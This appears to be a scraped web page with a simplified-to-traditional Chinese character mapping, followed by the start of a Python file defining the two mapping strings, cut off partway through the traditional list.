蔷蔹蔺蔼蕲蕴薮藁藓虏虑虚虫虬虮虽虾虿蚀蚁蚂蚕蚝蚬蛊蛎蛏蛮蛰蛱蛲蛳蛴蜕蜗蜡蝇蝈蝉蝎蝼蝾螀螨蟏衅衔补衬衮袄袅袆袜袭袯装裆裈裢裣裤裥褛褴襁襕见观觃规觅视觇览觉觊觋觌觍觎觏觐觑觞触觯詟誉誊讠计订讣认讥讦讧讨让讪讫训议讯记讱讲讳讴讵讶讷许讹论讻讼讽设访诀证诂诃评诅识诇诈诉诊诋诌词诎诏诐译诒诓诔试诖诗诘诙诚诛诜话诞诟诠诡询诣诤该详诧诨诩诪诫诬语诮误诰诱诲诳说诵诶请诸诹诺读诼诽课诿谀谁谂调谄谅谆谇谈谊谋谌谍谎谏谐谑谒谓谔谕谖谗谘谙谚谛谜谝谞谟谠谡谢谣谤谥谦谧谨谩谪谫谬谭谮谯谰谱谲谳谴谵谶谷豮贝贞负贠贡财责贤败账货质贩贪贫贬购贮贯贰贱贲贳贴贵贶贷贸费贺贻贼贽贾贿赀赁赂赃资赅赆赇赈赉赊赋赌赍赎赏赐赑赒赓赔赕赖赗赘赙赚赛赜赝赞赟赠赡赢赣赪赵赶趋趱趸跃跄跖跞践跶跷跸跹跻踊踌踪踬踯蹑蹒蹰蹿躏躜躯车轧轨轩轪轫转轭轮软轰轱轲轳轴轵轶轷轸轹轺轻轼载轾轿辀辁辂较辄辅辆辇辈辉辊辋辌辍辎辏辐辑辒输辔辕辖辗辘辙辚辞辩辫边辽达迁过迈运还这进远违连迟迩迳迹适选逊递逦逻遗遥邓邝邬邮邹邺邻郁郄郏郐郑郓郦郧郸酝酦酱酽酾酿释里鉅鉴銮錾钆钇针钉钊钋钌钍钎钏钐钑钒钓钔钕钖钗钘钙钚钛钝钞钟钠钡钢钣钤钥钦钧钨钩钪钫钬钭钮钯钰钱钲钳钴钵钶钷钸钹钺钻钼钽钾钿铀铁铂铃铄铅铆铈铉铊铋铍铎铏铐铑铒铕铗铘铙铚铛铜铝铞铟铠铡铢铣铤铥铦铧铨铪铫铬铭铮铯铰铱铲铳铴铵银铷铸铹铺铻铼铽链铿销锁锂锃锄锅锆锇锈锉锊锋锌锍锎锏锐锑锒锓锔锕锖锗错锚锜锞锟锠锡锢锣锤锥锦锨锩锫锬锭键锯锰锱锲锳锴锵锶锷锸锹锺锻锼锽锾锿镀镁镂镃镆镇镈镉镊镌镍镎镏镐镑镒镕镖镗镙镚镛镜镝镞镟镠镡镢镣镤镥镦镧镨镩镪镫镬镭镮镯镰镱镲镳镴镶长门闩闪闫闬闭问闯闰闱闲闳间闵闶闷闸闹闺闻闼闽闾闿阀阁阂阃阄阅阆阇阈阉阊阋阌阍阎阏阐阑阒阓阔阕阖阗阘阙阚阛队阳阴阵阶际陆陇陈陉陕陧陨险随隐隶隽难雏雠雳雾霁霉霭靓静靥鞑鞒鞯鞴韦韧韨韩韪韫韬韵页顶顷顸项顺须顼顽顾顿颀颁颂颃预颅领颇颈颉颊颋颌颍颎颏颐频颒颓颔颕颖颗题颙颚颛颜额颞颟颠颡颢颣颤颥颦颧风飏飐飑飒飓飔飕飖飗飘飙飚飞飨餍饤饥饦饧饨饩饪饫饬饭饮饯饰饱饲饳饴饵饶饷饸饹饺饻饼饽饾饿馀馁馂馃馄馅馆馇馈馉馊馋馌馍馎馏馐馑馒馓馔馕马驭驮驯驰驱驲驳驴驵驶驷驸驹驺驻驼驽驾驿骀骁骂骃骄骅骆骇骈骉骊骋验骍骎骏骐骑骒骓骔骕骖骗骘骙骚骛骜骝骞骟骠骡骢骣骤骥骦骧髅髋髌鬓魇魉鱼鱽鱾鱿鲀鲁鲂鲄鲅鲆鲇鲈鲉鲊鲋鲌鲍鲎鲏鲐鲑鲒鲓鲔鲕鲖鲗鲘鲙鲚鲛鲜鲝鲞鲟鲠鲡鲢鲣鲤鲥鲦鲧鲨鲩鲪鲫鲬鲭鲮鲯鲰鲱鲲鲳鲴鲵鲶鲷鲸鲹鲺鲻鲼鲽鲾鲿鳀鳁鳂鳃鳄鳅鳆鳇鳈鳉鳊鳋鳌鳍鳎鳏鳐鳑鳒鳓鳔鳕鳖鳗鳘鳙鳛鳜鳝鳞鳟鳠鳡鳢鳣鸟鸠鸡鸢鸣鸤鸥鸦鸧鸨鸩鸪鸫鸬鸭鸮鸯鸰鸱鸲鸳鸴鸵鸶鸷鸸鸹鸺鸻鸼鸽鸾鸿鹀鹁鹂鹃鹄鹅鹆鹇鹈鹉鹊鹋鹌鹍鹎鹏鹐鹑鹒鹓鹔鹕鹖鹗鹘鹚鹛鹜鹝鹞鹟鹠鹡鹢鹣鹤鹥鹦鹧鹨鹩鹪鹫鹬鹭鹯鹰鹱鹲鹳鹴鹾麦麸黄黉黡黩黪黾鼋鼌鼍鼗鼹齄齐齑齿龀龁龂龃龄龅龆龇龈龉龊龋龌龙龚龛龟志制咨只里系范松没尝尝闹面准钟别闲干尽脏拼&#xA;对应的繁体字 萬與醜專業叢東絲丟兩嚴喪個爿豐臨為麗舉麼義烏樂喬習鄉書買亂爭於虧雲亙亞產畝親褻嚲億僅從侖倉儀們價眾優夥會傴傘偉傳傷倀倫傖偽佇體餘傭僉俠侶僥偵側僑儈儕儂俁儔儼倆儷儉債傾傯僂僨償儻儐儲儺兒兌兗黨蘭關興茲養獸囅內岡冊寫軍農塚馮衝決況凍淨淒涼淩減湊凜幾鳳鳧憑凱擊氹鑿芻劃劉則剛創刪別剗剄劊劌剴劑剮劍剝劇勸辦務勱動勵勁勞勢勳猛勩勻匭匱區醫華協單賣盧鹵臥衛卻巹廠廳曆厲壓厭厙廁廂厴廈廚廄廝縣參靉靆雙發變敘疊葉號歎嘰籲後嚇呂嗎唚噸聽啟吳嘸囈嘔嚦唄員咼嗆嗚詠哢嚨嚀噝吒噅鹹呱響啞噠嘵嗶噦嘩噲嚌噥喲嘜嗊嘮啢嗩唕喚呼嘖嗇囀齧囉嘽嘯噴嘍嚳囁嗬噯噓嚶囑嚕劈囂謔團園囪圍圇國圖圓聖壙場阪壞塊堅壇壢壩塢墳墜壟壟壚壘墾坰堊墊埡墶壋塏堖塒塤堝墊垵塹墮壪牆壯聲殼壺壼處備複夠頭誇夾奪奩奐奮獎奧妝婦媽嫵嫗媯姍薑婁婭嬈嬌孌娛媧嫻嫿嬰嬋嬸媼嬡嬪嬙嬤孫學孿寧寶實寵審憲宮寬賓寢對尋導壽將爾塵堯尷屍盡層屭屜屆屬屢屨嶼歲豈嶇崗峴嶴嵐島嶺嶽崠巋嶨嶧峽嶢嶠崢巒嶗崍嶮嶄嶸嶔崳嶁脊巔鞏巰幣帥師幃帳簾幟帶幀幫幬幘幗冪襆幹並廣莊慶廬廡庫應廟龐廢廎廩開異棄張彌弳彎彈強歸當錄彠彥徹徑徠禦憶懺憂愾懷態慫憮慪悵愴憐總懟懌戀懇惡慟懨愷惻惱惲悅愨懸慳憫驚懼慘懲憊愜慚憚慣湣慍憤憒願懾憖怵懣懶懍戇戔戲戧戰戩戶紮撲扡執擴捫掃揚擾撫拋摶摳掄搶護報擔擬攏揀擁攔擰撥擇掛摯攣掗撾撻挾撓擋撟掙擠揮撏撈損撿換搗據撚擄摑擲撣摻摜摣攬撳攙擱摟攪攜攝攄擺搖擯攤攖撐攆擷擼攛擻攢敵斂數齋斕鬥斬斷無舊時曠暘曇晝曨顯晉曬曉曄暈暉暫曖劄術樸機殺雜權條來楊榪傑極構樅樞棗櫪梘棖槍楓梟櫃檸檉梔柵標棧櫛櫳棟櫨櫟欄樹棲樣欒棬椏橈楨檔榿橋樺檜槳樁夢檮棶檢欞槨櫝槧欏橢樓欖櫬櫚櫸檟檻檳櫧橫檣櫻櫫櫥櫓櫞簷檁歡歟歐殲歿殤殘殞殮殫殯毆毀轂畢斃氈毿氌氣氫氬氳彙漢汙湯洶遝溝沒灃漚瀝淪滄渢溈滬濔濘淚澩瀧瀘濼瀉潑澤涇潔灑窪浹淺漿澆湞溮濁測澮濟瀏滻渾滸濃潯濜塗湧濤澇淶漣潿渦溳渙滌潤澗漲澀澱淵淥漬瀆漸澠漁瀋滲溫遊灣濕潰濺漵漊潷滾滯灩灄滿瀅濾濫灤濱灘澦濫瀠瀟瀲濰潛瀦瀾瀨瀕灝滅燈靈災燦煬爐燉煒熗點煉熾爍爛烴燭煙煩燒燁燴燙燼熱煥燜燾煆糊溜愛爺牘犛牽犧犢強狀獷獁猶狽麅獮獰獨狹獅獪猙獄猻獫獵獼玀豬貓蝟獻獺璣璵瑒瑪瑋環現瑲璽瑉玨琺瓏璫琿璡璉瑣瓊瑤璦璿瓔瓚甕甌電畫暢佘疇癤療瘧癘瘍鬁瘡瘋皰屙癰痙癢瘂癆瘓癇癡癉瘮瘞瘺癟癱癮癭癩癬癲臒皚皺皸盞鹽監蓋盜盤瞘眥矓著睜睞瞼瞞矚矯磯礬礦碭碼磚硨硯碸礪礱礫礎硜矽碩硤磽磑礄確鹼礙磧磣堿镟滾禮禕禰禎禱禍稟祿禪離禿稈種積稱穢穠穭稅穌穩穡窮竊竅窯竄窩窺竇窶豎競篤筍筆筧箋籠籩築篳篩簹箏籌簽簡籙簀篋籜籮簞簫簣簍籃籬籪籟糴類秈糶糲粵糞糧糝餱緊縶糸糾紆紅紂纖紇約級紈纊紀紉緯紜紘純紕紗綱納紝縱綸紛紙紋紡紵紖紐紓線紺絏紱練組紳細織終縐絆紼絀紹繹經紿綁絨結絝繞絰絎繪給絢絳絡絕絞統綆綃絹繡綌綏絛繼綈績緒綾緓續綺緋綽緔緄繩維綿綬繃綢綯綹綣綜綻綰綠綴緇緙緗緘緬纜緹緲緝縕繢緦綞緞緶線緱縋緩締縷編緡緣縉縛縟縝縫縗縞纏縭縊縑繽縹縵縲纓縮繆繅纈繚繕繒韁繾繰繯繳纘罌網羅罰罷羆羈羥羨翹翽翬耮耬聳恥聶聾職聹聯聵聰肅腸膚膁腎腫脹脅膽勝朧腖臚脛膠脈膾髒臍腦膿臠腳脫腡臉臘醃膕齶膩靦膃騰臏臢輿艤艦艙艫艱豔艸藝節羋薌蕪蘆蓯葦藶莧萇蒼苧蘇檾蘋莖蘢蔦塋煢繭荊薦薘莢蕘蓽蕎薈薺蕩榮葷滎犖熒蕁藎蓀蔭蕒葒葤藥蒞蓧萊蓮蒔萵薟獲蕕瑩鶯蓴蘀蘿螢營縈蕭薩蔥蕆蕢蔣蔞藍薊蘺蕷鎣驀薔蘞藺藹蘄蘊藪槁蘚虜慮虛蟲虯蟣雖蝦蠆蝕蟻螞蠶蠔蜆蠱蠣蟶蠻蟄蛺蟯螄蠐蛻蝸蠟蠅蟈蟬蠍螻蠑螿蟎蠨釁銜補襯袞襖嫋褘襪襲襏裝襠褌褳襝褲襇褸襤繈襴見觀覎規覓視覘覽覺覬覡覿覥覦覯覲覷觴觸觶讋譽謄訁計訂訃認譏訐訌討讓訕訖訓議訊記訒講諱謳詎訝訥許訛論訩訟諷設訪訣證詁訶評詛識詗詐訴診詆謅詞詘詔詖譯詒誆誄試詿詩詰詼誠誅詵話誕詬詮詭詢詣諍該詳詫諢詡譸誡誣語誚誤誥誘誨誑說誦誒請諸諏諾讀諑誹課諉諛誰諗調諂諒諄誶談誼謀諶諜謊諫諧謔謁謂諤諭諼讒諮諳諺諦謎諞諝謨讜謖謝謠謗諡謙謐謹謾謫譾謬譚譖譙讕譜譎讞譴譫讖穀豶貝貞負貟貢財責賢敗賬貨質販貪貧貶購貯貫貳賤賁貰貼貴貺貸貿費賀貽賊贄賈賄貲賃賂贓資賅贐賕賑賚賒賦賭齎贖賞賜贔賙賡賠賧賴賵贅賻賺賽賾贗讚贇贈贍贏贛赬趙趕趨趲躉躍蹌蹠躒踐躂蹺蹕躚躋踴躊蹤躓躑躡蹣躕躥躪躦軀車軋軌軒軑軔轉軛輪軟轟軲軻轤軸軹軼軤軫轢軺輕軾載輊轎輈輇輅較輒輔輛輦輩輝輥輞輬輟輜輳輻輯轀輸轡轅轄輾轆轍轔辭辯辮邊遼達遷過邁運還這進遠違連遲邇逕跡適選遜遞邐邏遺遙鄧鄺鄔郵鄒鄴鄰鬱郤郟鄶鄭鄆酈鄖鄲醞醱醬釅釃釀釋裏钜鑒鑾鏨釓釔針釘釗釙釕釷釺釧釤鈒釩釣鍆釹鍚釵鈃鈣鈈鈦鈍鈔鍾鈉鋇鋼鈑鈐鑰欽鈞鎢鉤鈧鈁鈥鈄鈕鈀鈺錢鉦鉗鈷缽鈳鉕鈽鈸鉞鑽鉬鉭鉀鈿鈾鐵鉑鈴鑠鉛鉚鈰鉉鉈鉍鈹鐸鉶銬銠鉺銪鋏鋣鐃銍鐺銅鋁銱銦鎧鍘銖銑鋌銩銛鏵銓鉿銚鉻銘錚銫鉸銥鏟銃鐋銨銀銣鑄鐒鋪鋙錸鋱鏈鏗銷鎖鋰鋥鋤鍋鋯鋨鏽銼鋝鋒鋅鋶鐦鐧銳銻鋃鋟鋦錒錆鍺錯錨錡錁錕錩錫錮鑼錘錐錦鍁錈錇錟錠鍵鋸錳錙鍥鍈鍇鏘鍶鍔鍤鍬鍾鍛鎪鍠鍰鎄鍍鎂鏤鎡鏌鎮鎛鎘鑷鐫鎳鎿鎦鎬鎊鎰鎔鏢鏜鏍鏰鏞鏡鏑鏃鏇鏐鐔钁鐐鏷鑥鐓鑭鐠鑹鏹鐙鑊鐳鐶鐲鐮鐿鑔鑣鑞鑲長門閂閃閆閈閉問闖閏闈閑閎間閔閌悶閘鬧閨聞闥閩閭闓閥閣閡閫鬮閱閬闍閾閹閶鬩閿閽閻閼闡闌闃闠闊闋闔闐闒闕闞闤隊陽陰陣階際陸隴陳陘陝隉隕險隨隱隸雋難雛讎靂霧霽黴靄靚靜靨韃鞽韉韝韋韌韍韓韙韞韜韻頁頂頃頇項順須頊頑顧頓頎頒頌頏預顱領頗頸頡頰頲頜潁熲頦頤頻頮頹頷頴穎顆題顒顎顓顏額顳顢顛顙顥纇顫顬顰顴風颺颭颮颯颶颸颼颻飀飄飆飆飛饗饜飣饑飥餳飩餼飪飫飭飯飲餞飾飽飼飿飴餌饒餉餄餎餃餏餅餑餖餓餘餒餕餜餛餡館餷饋餶餿饞饁饃餺餾饈饉饅饊饌饢馬馭馱馴馳驅馹駁驢駔駛駟駙駒騶駐駝駑駕驛駘驍罵駰驕驊駱駭駢驫驪騁驗騂駸駿騏騎騍騅騌驌驂騙騭騤騷騖驁騮騫騸驃騾驄驏驟驥驦驤髏髖髕鬢魘魎魚魛魢魷魨魯魴魺鮁鮃鯰鱸鮋鮓鮒鮊鮑鱟鮍鮐鮭鮚鮳鮪鮞鮦鰂鮜鱠鱭鮫鮮鮺鯗鱘鯁鱺鰱鰹鯉鰣鰷鯀鯊鯇鮶鯽鯒鯖鯪鯕鯫鯡鯤鯧鯝鯢鯰鯛鯨鯵鯴鯔鱝鰈鰏鱨鯷鰮鰃鰓鱷鰍鰒鰉鰁鱂鯿鰠鼇鰭鰨鰥鰩鰟鰜鰳鰾鱈鱉鰻鰵鱅鰼鱖鱔鱗鱒鱯鱤鱧鱣鳥鳩雞鳶鳴鳲鷗鴉鶬鴇鴆鴣鶇鸕鴨鴞鴦鴒鴟鴝鴛鴬鴕鷥鷙鴯鴰鵂鴴鵃鴿鸞鴻鵐鵓鸝鵑鵠鵝鵒鷳鵜鵡鵲鶓鵪鶤鵯鵬鵮鶉鶊鵷鷫鶘鶡鶚鶻鶿鶥鶩鷊鷂鶲鶹鶺鷁鶼鶴鷖鸚鷓鷚鷯鷦鷲鷸鷺鸇鷹鸌鸏鸛鸘鹺麥麩黃黌黶黷黲黽黿鼂鼉鞀鼴齇齊齏齒齔齕齗齟齡齙齠齜齦齬齪齲齷龍龔龕龜誌製谘隻裡係範鬆冇嚐嘗鬨麵準鐘彆閒乾儘臟拚&#xA;代码部分 因此，对应的代码为：&#xA;# -*- coding: utf-8 -*- # @Time : 2020/10/16 16:05 # @Author : wanglb # @File : simple_change.py SIMPLE = &#34;万与丑专业丛东丝丢两严丧个丬丰临为丽举么义乌乐乔习乡书买乱争于亏云亘亚产亩亲亵亸亿仅从仑仓仪们价众优伙会伛伞伟传伤伥伦伧伪伫体余佣佥侠侣侥侦侧侨侩侪侬俣俦俨俩俪俭债倾偬偻偾偿傥傧储傩儿兑兖党兰关兴兹养兽冁内冈册写军农冢冯冲决况冻净凄凉凌减凑凛几凤凫凭凯击凼凿刍划刘则刚创删别刬刭刽刿剀剂剐剑剥剧劝办务劢动励劲劳势勋勐勚匀匦匮区医华协单卖卢卤卧卫却卺厂厅历厉压厌厍厕厢厣厦厨厩厮县参叆叇双发变叙叠叶号叹叽吁后吓吕吗吣吨听启吴呒呓呕呖呗员呙呛呜咏咔咙咛咝咤咴咸哌响哑哒哓哔哕哗哙哜哝哟唛唝唠唡唢唣唤唿啧啬啭啮啰啴啸喷喽喾嗫呵嗳嘘嘤嘱噜噼嚣嚯团园囱围囵国图圆圣圹场坂坏块坚坛坜坝坞坟坠垄垅垆垒垦垧垩垫垭垯垱垲垴埘埙埚埝埯堑堕塆墙壮声壳壶壸处备复够头夸夹夺奁奂奋奖奥妆妇妈妩妪妫姗姜娄娅娆娇娈娱娲娴婳婴婵婶媪嫒嫔嫱嬷孙学孪宁宝实宠审宪宫宽宾寝对寻导寿将尔尘尧尴尸尽层屃屉届属屡屦屿岁岂岖岗岘岙岚岛岭岳岽岿峃峄峡峣峤峥峦崂崃崄崭嵘嵚嵛嵝嵴巅巩巯币帅师帏帐帘帜带帧帮帱帻帼幂幞干并广庄庆庐庑库应庙庞废庼廪开异弃张弥弪弯弹强归当录彟彦彻径徕御忆忏忧忾怀态怂怃怄怅怆怜总怼怿恋恳恶恸恹恺恻恼恽悦悫悬悭悯惊惧惨惩惫惬惭惮惯愍愠愤愦愿慑慭憷懑懒懔戆戋戏戗战戬户扎扑扦执扩扪扫扬扰抚抛抟抠抡抢护报担拟拢拣拥拦拧拨择挂挚挛挜挝挞挟挠挡挢挣挤挥挦捞损捡换捣据捻掳掴掷掸掺掼揸揽揿搀搁搂搅携摄摅摆摇摈摊撄撑撵撷撸撺擞攒敌敛数斋斓斗斩断无旧时旷旸昙昼昽显晋晒晓晔晕晖暂暧札术朴机杀杂权条来杨杩杰极构枞枢枣枥枧枨枪枫枭柜柠柽栀栅标栈栉栊栋栌栎栏树栖样栾桊桠桡桢档桤桥桦桧桨桩梦梼梾检棂椁椟椠椤椭楼榄榇榈榉槚槛槟槠横樯樱橥橱橹橼檐檩欢欤欧歼殁殇残殒殓殚殡殴毁毂毕毙毡毵氇气氢氩氲汇汉污汤汹沓沟没沣沤沥沦沧沨沩沪沵泞泪泶泷泸泺泻泼泽泾洁洒洼浃浅浆浇浈浉浊测浍济浏浐浑浒浓浔浕涂涌涛涝涞涟涠涡涢涣涤润涧涨涩淀渊渌渍渎渐渑渔渖渗温游湾湿溃溅溆溇滗滚滞滟滠满滢滤滥滦滨滩滪漤潆潇潋潍潜潴澜濑濒灏灭灯灵灾灿炀炉炖炜炝点炼炽烁烂烃烛烟烦烧烨烩烫烬热焕焖焘煅煳熘爱爷牍牦牵牺犊犟状犷犸犹狈狍狝狞独狭狮狯狰狱狲猃猎猕猡猪猫猬献獭玑玙玚玛玮环现玱玺珉珏珐珑珰珲琎琏琐琼瑶瑷璇璎瓒瓮瓯电画畅畲畴疖疗疟疠疡疬疮疯疱疴痈痉痒痖痨痪痫痴瘅瘆瘗瘘瘪瘫瘾瘿癞癣癫癯皑皱皲盏盐监盖盗盘眍眦眬着睁睐睑瞒瞩矫矶矾矿砀码砖砗砚砜砺砻砾础硁硅硕硖硗硙硚确硷碍碛碜碱碹磙礼祎祢祯祷祸禀禄禅离秃秆种积称秽秾稆税稣稳穑穷窃窍窑窜窝窥窦窭竖竞笃笋笔笕笺笼笾筑筚筛筜筝筹签简箓箦箧箨箩箪箫篑篓篮篱簖籁籴类籼粜粝粤粪粮糁糇紧絷纟纠纡红纣纤纥约级纨纩纪纫纬纭纮纯纰纱纲纳纴纵纶纷纸纹纺纻纼纽纾线绀绁绂练组绅细织终绉绊绋绌绍绎经绐绑绒结绔绕绖绗绘给绚绛络绝绞统绠绡绢绣绤绥绦继绨绩绪绫绬续绮绯绰绱绲绳维绵绶绷绸绹绺绻综绽绾绿缀缁缂缃缄缅缆缇缈缉缊缋缌缍缎缏缐缑缒缓缔缕编缗缘缙缚缛缜缝缞缟缠缡缢缣缤缥缦缧缨缩缪缫缬缭缮缯缰缱缲缳缴缵罂网罗罚罢罴羁羟羡翘翙翚耢耧耸耻聂聋职聍联聩聪肃肠肤肷肾肿胀胁胆胜胧胨胪胫胶脉脍脏脐脑脓脔脚脱脶脸腊腌腘腭腻腼腽腾膑臜舆舣舰舱舻艰艳艹艺节芈芗芜芦苁苇苈苋苌苍苎苏苘苹茎茏茑茔茕茧荆荐荙荚荛荜荞荟荠荡荣荤荥荦荧荨荩荪荫荬荭荮药莅莜莱莲莳莴莶获莸莹莺莼萚萝萤营萦萧萨葱蒇蒉蒋蒌蓝蓟蓠蓣蓥蓦蔷蔹蔺蔼蕲蕴薮藁藓虏虑虚虫虬虮虽虾虿蚀蚁蚂蚕蚝蚬蛊蛎蛏蛮蛰蛱蛲蛳蛴蜕蜗蜡蝇蝈蝉蝎蝼蝾螀螨蟏衅衔补衬衮袄袅袆袜袭袯装裆裈裢裣裤裥褛褴襁襕见观觃规觅视觇览觉觊觋觌觍觎觏觐觑觞触觯詟誉誊讠计订讣认讥讦讧讨让讪讫训议讯记讱讲讳讴讵讶讷许讹论讻讼讽设访诀证诂诃评诅识诇诈诉诊诋诌词诎诏诐译诒诓诔试诖诗诘诙诚诛诜话诞诟诠诡询诣诤该详诧诨诩诪诫诬语诮误诰诱诲诳说诵诶请诸诹诺读诼诽课诿谀谁谂调谄谅谆谇谈谊谋谌谍谎谏谐谑谒谓谔谕谖谗谘谙谚谛谜谝谞谟谠谡谢谣谤谥谦谧谨谩谪谫谬谭谮谯谰谱谲谳谴谵谶谷豮贝贞负贠贡财责贤败账货质贩贪贫贬购贮贯贰贱贲贳贴贵贶贷贸费贺贻贼贽贾贿赀赁赂赃资赅赆赇赈赉赊赋赌赍赎赏赐赑赒赓赔赕赖赗赘赙赚赛赜赝赞赟赠赡赢赣赪赵赶趋趱趸跃跄跖跞践跶跷跸跹跻踊踌踪踬踯蹑蹒蹰蹿躏躜躯车轧轨轩轪轫转轭轮软轰轱轲轳轴轵轶轷轸轹轺轻轼载轾轿辀辁辂较辄辅辆辇辈辉辊辋辌辍辎辏辐辑辒输辔辕辖辗辘辙辚辞辩辫边辽达迁过迈运还这进远违连迟迩迳迹适选逊递逦逻遗遥邓邝邬邮邹邺邻郁郄郏郐郑郓郦郧郸酝酦酱酽酾酿释里鉅鉴銮錾钆钇针钉钊钋钌钍钎钏钐钑钒钓钔钕钖钗钘钙钚钛钝钞钟钠钡钢钣钤钥钦钧钨钩钪钫钬钭钮钯钰钱钲钳钴钵钶钷钸钹钺钻钼钽钾钿铀铁铂铃铄铅铆铈铉铊铋铍铎铏铐铑铒铕铗铘铙铚铛铜铝铞铟铠铡铢铣铤铥铦铧铨铪铫铬铭铮铯铰铱铲铳铴铵银铷铸铹铺铻铼铽链铿销锁锂锃锄锅锆锇锈锉锊锋锌锍锎锏锐锑锒锓锔锕锖锗错锚锜锞锟锠锡锢锣锤锥锦锨锩锫锬锭键锯锰锱锲锳锴锵锶锷锸锹锺锻锼锽锾锿镀镁镂镃镆镇镈镉镊镌镍镎镏镐镑镒镕镖镗镙镚镛镜镝镞镟镠镡镢镣镤镥镦镧镨镩镪镫镬镭镮镯镰镱镲镳镴镶长门闩闪闫闬闭问闯闰闱闲闳间闵闶闷闸闹闺闻闼闽闾闿阀阁阂阃阄阅阆阇阈阉阊阋阌阍阎阏阐阑阒阓阔阕阖阗阘阙阚阛队阳阴阵阶际陆陇陈陉陕陧陨险随隐隶隽难雏雠雳雾霁霉霭靓静靥鞑鞒鞯鞴韦韧韨韩韪韫韬韵页顶顷顸项顺须顼顽顾顿颀颁颂颃预颅领颇颈颉颊颋颌颍颎颏颐频颒颓颔颕颖颗题颙颚颛颜额颞颟颠颡颢颣颤颥颦颧风飏飐飑飒飓飔飕飖飗飘飙飚飞飨餍饤饥饦饧饨饩饪饫饬饭饮饯饰饱饲饳饴饵饶饷饸饹饺饻饼饽饾饿馀馁馂馃馄馅馆馇馈馉馊馋馌馍馎馏馐馑馒馓馔馕马驭驮驯驰驱驲驳驴驵驶驷驸驹驺驻驼驽驾驿骀骁骂骃骄骅骆骇骈骉骊骋验骍骎骏骐骑骒骓骔骕骖骗骘骙骚骛骜骝骞骟骠骡骢骣骤骥骦骧髅髋髌鬓魇魉鱼鱽鱾鱿鲀鲁鲂鲄鲅鲆鲇鲈鲉鲊鲋鲌鲍鲎鲏鲐鲑鲒鲓鲔鲕鲖鲗鲘鲙鲚鲛鲜鲝鲞鲟鲠鲡鲢鲣鲤鲥鲦鲧鲨鲩鲪鲫鲬鲭鲮鲯鲰鲱鲲鲳鲴鲵鲶鲷鲸鲹鲺鲻鲼鲽鲾鲿鳀鳁鳂鳃鳄鳅鳆鳇鳈鳉鳊鳋鳌鳍鳎鳏鳐鳑鳒鳓鳔鳕鳖鳗鳘鳙鳛鳜鳝鳞鳟鳠鳡鳢鳣鸟鸠鸡鸢鸣鸤鸥鸦鸧鸨鸩鸪鸫鸬鸭鸮鸯鸰鸱鸲鸳鸴鸵鸶鸷鸸鸹鸺鸻鸼鸽鸾鸿鹀鹁鹂鹃鹄鹅鹆鹇鹈鹉鹊鹋鹌鹍鹎鹏鹐鹑鹒鹓鹔鹕鹖鹗鹘鹚鹛鹜鹝鹞鹟鹠鹡鹢鹣鹤鹥鹦鹧鹨鹩鹪鹫鹬鹭鹯鹰鹱鹲鹳鹴鹾麦麸黄黉黡黩黪黾鼋鼌鼍鼗鼹齄齐齑齿龀龁龂龃龄龅龆龇龈龉龊龋龌龙龚龛龟志制咨只里系范松没尝尝闹面准钟别闲干尽脏拼&#34; TRADITION = &#34;萬與醜專業叢東絲丟兩嚴喪個爿豐臨為麗舉麼義烏樂喬習鄉書買亂爭於虧雲亙亞產畝親褻嚲億僅從侖倉儀們價眾優夥會傴傘偉傳傷倀倫傖偽佇體餘傭僉俠侶僥偵側僑儈儕儂俁儔儼倆儷儉債傾傯僂僨償儻儐儲儺兒兌兗黨蘭關興茲養獸囅內岡冊寫軍農塚馮衝決況凍淨淒涼淩減湊凜幾鳳鳧憑凱擊氹鑿芻劃劉則剛創刪別剗剄劊劌剴劑剮劍剝劇勸辦務勱動勵勁勞勢勳猛勩勻匭匱區醫華協單賣盧鹵臥衛卻巹廠廳曆厲壓厭厙廁廂厴廈廚廄廝縣參靉靆雙發變敘疊葉號歎嘰籲後嚇呂嗎唚噸聽啟吳嘸囈嘔嚦唄員咼嗆嗚詠哢嚨嚀噝吒噅鹹呱響啞噠嘵嗶噦嘩噲嚌噥喲嘜嗊嘮啢嗩唕喚呼嘖嗇囀齧囉嘽嘯噴嘍嚳囁嗬噯噓嚶囑嚕劈囂謔團園囪圍圇國圖圓聖壙場阪壞塊堅壇壢壩塢墳墜壟壟壚壘墾坰堊墊埡墶壋塏堖塒塤堝墊垵塹墮壪牆壯聲殼壺壼處備複夠頭誇夾奪奩奐奮獎奧妝婦媽嫵嫗媯姍薑婁婭嬈嬌孌娛媧嫻嫿嬰嬋嬸媼嬡嬪嬙嬤孫學孿寧寶實寵審憲宮寬賓寢對尋導壽將爾塵堯尷屍盡層屭屜屆屬屢屨嶼歲豈嶇崗峴嶴嵐島嶺嶽崠巋嶨嶧峽嶢嶠崢巒嶗崍嶮嶄嶸嶔崳嶁脊巔鞏巰幣帥師幃帳簾幟帶幀幫幬幘幗冪襆幹並廣莊慶廬廡庫應廟龐廢廎廩開異棄張彌弳彎彈強歸當錄彠彥徹徑徠禦憶懺憂愾懷態慫憮慪悵愴憐總懟懌戀懇惡慟懨愷惻惱惲悅愨懸慳憫驚懼慘懲憊愜慚憚慣湣慍憤憒願懾憖怵懣懶懍戇戔戲戧戰戩戶紮撲扡執擴捫掃揚擾撫拋摶摳掄搶護報擔擬攏揀擁攔擰撥擇掛摯攣掗撾撻挾撓擋撟掙擠揮撏撈損撿換搗據撚擄摑擲撣摻摜摣攬撳攙擱摟攪攜攝攄擺搖擯攤攖撐攆擷擼攛擻攢敵斂數齋斕鬥斬斷無舊時曠暘曇晝曨顯晉曬曉曄暈暉暫曖劄術樸機殺雜權條來楊榪傑極構樅樞棗櫪梘棖槍楓梟櫃檸檉梔柵標棧櫛櫳棟櫨櫟欄樹棲樣欒棬椏橈楨檔榿橋樺檜槳樁夢檮棶檢欞槨櫝槧欏橢樓欖櫬櫚櫸檟檻檳櫧橫檣櫻櫫櫥櫓櫞簷檁歡歟歐殲歿殤殘殞殮殫殯毆毀轂畢斃氈毿氌氣氫氬氳彙漢汙湯洶遝溝沒灃漚瀝淪滄渢溈滬濔濘淚澩瀧瀘濼瀉潑澤涇潔灑窪浹淺漿澆湞溮濁測澮濟瀏滻渾滸濃潯濜塗湧濤澇淶漣潿渦溳渙滌潤澗漲澀澱淵淥漬瀆漸澠漁瀋滲溫遊灣濕潰濺漵漊潷滾滯灩灄滿瀅濾濫灤濱灘澦濫瀠瀟瀲濰潛瀦瀾瀨瀕灝滅燈靈災燦煬爐燉煒熗點煉熾爍爛烴燭煙煩燒燁燴燙燼熱煥燜燾煆糊溜愛爺牘犛牽犧犢強狀獷獁猶狽麅獮獰獨狹獅獪猙獄猻獫獵獼玀豬貓蝟獻獺璣璵瑒瑪瑋環現瑲璽瑉玨琺瓏璫琿璡璉瑣瓊瑤璦璿瓔